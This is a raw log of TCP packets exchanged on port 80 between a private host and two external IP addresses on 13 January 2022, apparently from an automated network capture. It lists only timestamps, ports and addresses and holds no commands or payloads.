Jan 13, 2022 20:51:24.750485897 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750509977 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750526905 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750530958 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750534058 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750557899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750581026 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750605106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750633001 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750693083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750731945 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750746965 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750750065 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750756025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750780106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750802994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750855923 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750900030 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750917912 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750929117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750952959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751014948 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751034021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751059055 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751082897 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751106024 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751128912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751136065 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751138926 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751257896 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751373053 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751396894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751421928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751435995 CET	80	49828	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:24.751437902 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751444101 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751518965 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751543999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751549006 CET	49828	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.751593113 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751596928 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751626015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751652002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751673937 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751699924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751722097 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751744986 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751749992 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751754045 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751765966 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751790047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.751842022 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751843929 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.751957893 CET	49828	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.751987934 CET	49828	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.752865076 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.752892017 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.754673004 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806231022 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806262016 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806288958 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806313992 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806339025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806363106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806365967 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806389093 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806413889 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806421995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806427002 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806437969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806463003 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806487083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806507111 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806509972 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806510925 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806534052 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806559086 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806583881 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806607008 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806607962 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806610107 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806632996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806658030 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806680918 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806701899 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806705952 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806706905 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806731939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806755066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806780100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806802988 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806811094 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806813955 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806832075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806857109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806880951 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806904078 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806906939 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.806906939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806932926 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.806958914 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807002068 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807003975 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807032108 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807056904 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807081938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807107925 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807132959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807156086 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807157040 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807159901 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807180882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807204962 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807223082 CET	80	49828	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:24.807246923 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807246923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807249069 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807272911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807298899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807322025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807348013 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807364941 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807368040 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807372093 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807395935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807419062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807444096 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807461023 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807463884 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807466984 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807492018 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807514906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.807564974 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.807568073 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.821721077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821752071 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821777105 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821800947 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821818113 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.821825981 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821861029 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.821866035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821892023 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821914911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821938992 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821964979 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.821969032 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.821971893 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.821990013 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822015047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822038889 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822046995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822062969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822088003 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822110891 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822137117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822137117 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822139978 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822161913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822187901 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822212934 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822221994 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822225094 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822237015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822263002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822279930 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822285891 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822309971 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822340012 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822362900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822371006 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822375059 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822387934 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822412014 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822432995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822436094 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822462082 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822487116 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822510958 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822518110 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822521925 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822535992 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822560072 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822582960 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822598934 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822602034 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822607994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822639942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822666883 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822695017 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822719097 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822721004 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822722912 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822746992 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822771072 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822794914 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822819948 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822834969 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822839022 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822845936 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822871923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822896957 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822915077 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822917938 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.822921991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822947025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822971106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.822994947 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823018074 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823020935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823021889 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823045015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823069096 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823095083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823110104 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823113918 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823120117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823143959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823168039 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823191881 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823210001 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823214054 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823214054 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823240042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823263884 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823288918 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823304892 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823308945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823313951 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823339939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823364019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823388100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823411942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823421955 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823425055 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823436022 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823462009 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823487043 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823504925 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823508978 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823510885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823535919 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823559999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823585033 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823610067 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823611021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823613882 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823637009 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823662043 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823683023 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823687077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823710918 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823734999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823760033 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823782921 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823786020 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823786020 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823812962 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823837042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823863983 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.823868990 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.823873043 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.824054956 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.825725079 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.825754881 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.825779915 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.825803995 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.825828075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.825875044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.825877905 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.825889111 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.827413082 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.860255957 CET	80	49828	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:24.860342979 CET	49828	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.860444069 CET	49828	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.878005028 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878035069 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878096104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878143072 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.878438950 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878464937 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878490925 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878516912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878544092 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878577948 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.878587008 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878612041 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878637075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878662109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878669024 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.878673077 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.878686905 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878714085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878737926 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878762960 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878787994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878789902 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.878794909 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.878813982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878838062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878861904 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878869057 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.878870964 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.878885031 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878909111 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878935099 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878956079 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.878959894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.878985882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879009962 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879026890 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879030943 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879034042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879059076 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879084110 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879132032 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879136086 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879158974 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879184008 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879209995 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879231930 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879235983 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879260063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879283905 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879312992 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879323959 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879327059 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879338026 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879362106 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879363060 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879389048 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879411936 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879430056 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879431963 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879451990 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879499912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879525900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879534960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879549980 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879575014 CET	80	49825	141.8.194.74	192.168.2.5
